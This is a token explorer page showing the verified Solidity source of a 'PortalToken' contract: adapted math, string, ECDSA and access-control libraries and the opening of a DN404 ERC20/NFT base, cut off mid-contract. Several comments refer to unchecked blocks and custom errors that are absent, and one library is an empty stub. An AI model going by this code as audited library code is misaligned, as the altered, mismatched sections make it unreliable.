Token

PORTAL (PORTAL)

Feature Tip: Add private address tag to any address under My Name Tag !

ERC-20

Overview

Max Total Supply

1,000,000 PORTAL

Holders

Total Transfers

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

Other Info

Token Contract (WITH 18 Decimals)

0xf0632011496dc63bb2b90e7cba2e1ed4647e4310

Click here to update the token information / general information

#	Exchange	Pair	Price	24H Volume	% Volume

Contract Source Code Verified (Exact Match)

Contract Name:

PortalToken

Compiler Version

v0.7.6+commit.7338295f

Optimization Enabled:

Yes with 10000 runs

Other Settings:

default evmVersion, MIT license

Contract Source Code (Solidity)

IDE

/**
 *Submitted for verification at Etherscan.io on 2024-02-29
*/

// SPDX-License-Identifier: MIT


/*

https://www.portalgaming.com/
https://portalcoin.xyz/whitepaper
https://twitter.com/Portalcoin

*/


pragma solidity ^0.7.6;




/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
       
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        
    }
}


/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _SYMBOLS = "0123456789abcdef";
    uint8 private constant _ADDRESS_LENGTH = 20;

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
       
            uint256 length = Math.log10(value) + 1;
            string memory buffer = new string(length);
            uint256 ptr;
            /// @solidity memory-safe-assembly
            assembly {
                ptr := add(buffer, add(32, length))
            }
            while (true) {
                ptr--;
                /// @solidity memory-safe-assembly
                assembly {
                    mstore8(ptr, byte(mod(value, 10), _SYMBOLS))
                }
                value /= 10;
                if (value == 0) break;
            }
            return buffer;
        
    }

    /**
     * @dev Converts a `int256` to its ASCII `string` decimal representation.
     */
    function toString(int256 value) internal pure returns (string memory) {
        return string(abi.encodePacked(value < 0 ? "-" : "", toString(SignedMath.abs(value))));
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        
            return toHexString(value, Math.log256(value) + 1);
       
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    /**
     * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.
     */
    function toHexString(address addr) internal pure returns (string memory) {
        return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
    }

    /**
     * @dev Returns true if the two strings are equal.
     */
    function equal(string memory a, string memory b) internal pure returns (bool) {
        return keccak256(bytes(a)) == keccak256(bytes(b));
    }
}

/**
 * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
 *
 * These functions can be used to verify that a message was signed by the holder
 * of the private keys of a given address.
 */
library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS,
        InvalidSignatureV // Deprecated in v4.8
    }

    function _throwError(RecoverError error) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert("ECDSA: invalid signature");
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert("ECDSA: invalid signature length");
        } else if (error == RecoverError.InvalidSignatureS) {
            revert("ECDSA: invalid signature 's' value");
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature` or error string. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {toEthSignedMessageHash} on it.
     *
     * Documentation for signature generation:
     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
     *
     * _Available since v4.3._
     */
    function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            /// @solidity memory-safe-assembly
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength);
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature`. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {toEthSignedMessageHash} on it.
     */
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, signature);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
     *
     * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
     *
     * _Available since v4.3._
     */
    function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError) {
        bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
        uint8 v = uint8((uint256(vs) >> 255) + 27);
        return tryRecover(hash, v, r, s);
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
     *
     * _Available since v4.2._
     */
    function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, r, vs);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `v`,
     * `r` and `s` signature fields separately.
     *
     * _Available since v4.3._
     */
    function tryRecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address, RecoverError) {
        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
        // these malleable signatures as well.
        if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
            return (address(0), RecoverError.InvalidSignatureS);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature);
        }

        return (signer, RecoverError.NoError);
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, v, r, s);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Returns an Ethereum Signed Message, created from a `hash`. This
     * produces hash corresponding to the one signed with the
     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
     * JSON-RPC method as part of EIP-191.
     *
     * See {recover}.
     */
    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32 message) {
        // 32 is the length in bytes of hash,
        // enforced by the type signature above
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, "\x19Ethereum Signed Message:\n32")
            mstore(0x1c, hash)
            message := keccak256(0x00, 0x3c)
        }
    }

    /**
     * @dev Returns an Ethereum Signed Message, created from `s`. This
     * produces hash corresponding to the one signed with the
     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
     * JSON-RPC method as part of EIP-191.
     *
     * See {recover}.
     */
    function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
    }

    /**
     * @dev Returns an Ethereum Signed Typed Data, created from a
     * `domainSeparator` and a `structHash`. This produces hash corresponding
     * to the one signed with the
     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
     * JSON-RPC method as part of EIP-712.
     *
     * See {recover}.
     */
    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 data) {
        /// @solidity memory-safe-assembly
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, "\x19\x01")
            mstore(add(ptr, 0x02), domainSeparator)
            mstore(add(ptr, 0x22), structHash)
            data := keccak256(ptr, 0x42)
        }
    }

    /**
     * @dev Returns an Ethereum Signed Data with intended validator, created from a
     * `validator` and `data` according to the version 0 of EIP-191.
     *
     * See {recover}.
     */
    function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked("\x19\x00", validator, data));
    }
}

/// @notice Gas optimized verification of proof of inclusion for a leaf in a Merkle tree.
/// @author Solady (https://github.com/vectorized/solady/blob/main/src/utils/MerkleProofLib.sol)
/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/utils/MerkleProofLib.sol)
/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/MerkleProof.sol)
library MerkleProofLib {
    /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/
    /*            MERKLE PROOF VERIFICATION OPERATIONS            */
    /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/
}

/**
 * @dev External interface of AccessControl declared to support ERC165 detection.
 */
interface IAccessControl {
    /**
     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
     *
     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
     * {RoleAdminChanged} not being emitted signaling this.
     *
     * _Available since v3.1._
     */
    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);

    /**
     * @dev Emitted when `account` is granted `role`.
     *
     * `sender` is the account that originated the contract call, an admin role
     * bearer except when using {AccessControl-_setupRole}.
     */
    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Emitted when `account` is revoked `role`.
     *
     * `sender` is the account that originated the contract call:
     *   - if using `revokeRole`, it is the admin role bearer
     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
     */
    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account) external view returns (bool);

    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {AccessControl-_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function grantRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function revokeRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been granted `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `account`.
     */
    function renounceRole(bytes32 role, address account) external;
}


/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {


    enum Rounding {
        Floor, // Toward negative infinity
        Ceil, // Toward positive infinity
        Trunc, // Toward zero
        Expand // Away from zero
    }

    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
      
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {

            if (b > a) return (false, 0);
            return (true, a - b);
        
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
      
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
            if (b == 0) return (false, 0);
            return (true, a / b);
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
            if (b == 0) return (false, 0);
            return (true, a % b);
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds towards infinity instead
     * of rounding towards zero.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        if (b == 0) {
            // Guarantee the same behavior as in a regular Solidity division.
            return a / b;
        }

        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or
     * denominator == 0.
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by
     * Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0 = x * y; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            if (denominator <= prod1) {
                revert();
            }

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator.
            // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.

            uint256 twos = denominator & (0 - denominator);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also
            // works in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded
     * towards zero.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
            uint256 result = sqrt(a);
            return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);
    }

    /**
     * @dev Return the log in base 2 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
            uint256 result = log2(value);
            return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);
    }

    /**
     * @dev Return the log in base 10 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
            uint256 result = log10(value);
            return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);
    }

    /**
     * @dev Return the log in base 256 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
            uint256 result = log256(value);
            return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0);
    }

    /**
     * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers.
     */
    function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {
        return uint8(rounding) % 2 == 1;
    }
}

/// @title DN404
/// @notice DN404 is a hybrid ERC20 and ERC721 implementation that mints
/// and burns NFTs based on an account's ERC20 token balance.
///
/// @author vectorized.eth (@optimizoor)
/// @author Quit (@0xQuit)
/// @author Michael Amadi (@AmadiMichaels)
/// @author cygaar (@0xCygaar)
/// @author Thomas (@0xjustadev)
/// @author Harrison (@PopPunkOnChain)
///
/// @dev Note:
/// - The ERC721 data is stored in this base DN404 contract, however a
///   DN404Mirror contract ***MUST*** be deployed and linked during
///   initialization.
abstract contract DN404 {
    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                           EVENTS                           */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Emitted when `amount` tokens is transferred from `from` to `to`.
    event Transfer(address indexed from, address indexed to, uint256 amount);

    /// @dev Emitted when `amount` tokens is approved by `owner` to be used by `spender`.
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /// @dev Emitted when `target` sets their skipNFT flag to `status`.
    event SkipNFTSet(address indexed target, bool status);

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                        CUSTOM ERRORS                       */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/
    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                         CONSTANTS                          */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Amount of token balance that is equal to one NFT.
    uint256 internal constant _WAD = 10 ** 18;

    /// @dev The maximum token ID allowed for an NFT.
    uint256 internal constant _MAX_TOKEN_ID = 0xffffffff;

    /// @dev The maximum possible token supply.
    uint256 internal constant _MAX_SUPPLY = 10 ** 18 * 0xffffffff - 1;

    /// @dev The flag to denote that the address data is initialized.
    uint8 internal constant _ADDRESS_DATA_INITIALIZED_FLAG = 1 << 0;

    /// @dev The flag to denote that the address should skip NFTs.
    uint8 internal constant _ADDRESS_DATA_SKIP_NFT_FLAG = 1 << 1;

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                          STORAGE                           */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Struct containing an address's token data and settings.
    struct AddressData {
        // Auxiliary data.
        uint88 aux;
        // Flags for `initialized` and `skipNFT`.
        uint8 flags;
        // The alias for the address. Zero means absence of an alias.
        uint32 addressAlias;
        // The number of NFT tokens.
        uint32 ownedLength;
        // The token balance in wei.
        uint96 balance;
    }

    /// @dev A uint32 map in storage.
    struct Uint32Map {
        mapping(uint256 => uint256) map;
    }

    /// @dev Struct containing the base token contract storage.
    struct DN404Storage {
        // Current number of address aliases assigned.
        uint32 numAliases;
        // Next token ID to assign for an NFT mint.
        uint32 nextTokenId;
        // Total supply of minted NFTs.
        uint32 totalNFTSupply;
        // Total supply of tokens.
        uint96 totalSupply;
        // Address of the NFT mirror contract.
        address mirrorERC721;
        // Mapping of a user alias number to their address.
        mapping(uint32 => address) aliasToAddress;
        // Mapping of user operator approvals for NFTs.
        mapping(address => mapping(address => bool)) operatorApprovals;
        // Mapping of NFT token approvals to approved operators.
        mapping(uint256 => address) tokenApprovals;
        // Mapping of user allowances for token spenders.
        mapping(address => mapping(address => uint256)) allowance;
        // Mapping of NFT token IDs owned by an address.
        mapping(address => Uint32Map) owned;
        // Even indices: owner aliases. Odd indices: owned indices.
        Uint32Map oo;
        // Mapping of user account AddressData
        mapping(address => AddressData) addressData;
    }

    /// @dev Returns a storage pointer for DN404Storage.
    function _getDN404Storage() internal pure virtual returns (DN404Storage storage $) {
        /// @solidity memory-safe-assembly
        assembly {
            // `uint72(bytes9(keccak256("DN404_STORAGE")))`.
            $.slot := 0xa20d6e21d0e5255308 // Truncate to 9 bytes to reduce bytecode size.
        }
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*                         INITIALIZER                        */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Initializes the DN404 contract with an
    /// `initialTokenSupply`, `initialTokenOwner` and `mirror` NFT contract address.
    function _initializeDN404(
        uint256 initialTokenSupply,
        address initialSupplyOwner,
        address mirror
    ) internal virtual {
        DN404Storage storage $ = _getDN404Storage();


        _linkMirrorContract(mirror);

        $.nextTokenId = 1;
        $.mirrorERC721 = mirror;

        if (initialTokenSupply > 0) {

            $.totalSupply = uint96(initialTokenSupply);
            AddressData storage initialOwnerAddressData = _addressData(initialSupplyOwner);
            initialOwnerAddressData.balance = uint96(initialTokenSupply);

            emit Transfer(address(0), initialSupplyOwner, initialTokenSupply);

            _setSkipNFT(initialSupplyOwner, true);
        }
    }

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
    /*               METADATA FUNCTIONS TO OVERRIDE               */
    /*-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»-»*/

    /// @dev Returns the name of the token.
    function name() public view virtual returns (string memory);

    /// @dev Returns the symbol of the token.
    function symbol() public view virtual returns (string memory);

    /// @dev Returns the Uniform Resource Identifier (URI) for token `id`.
    function tokenURI(uint256 id) public view virtual returns (string memory);

    /*«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-«-*/
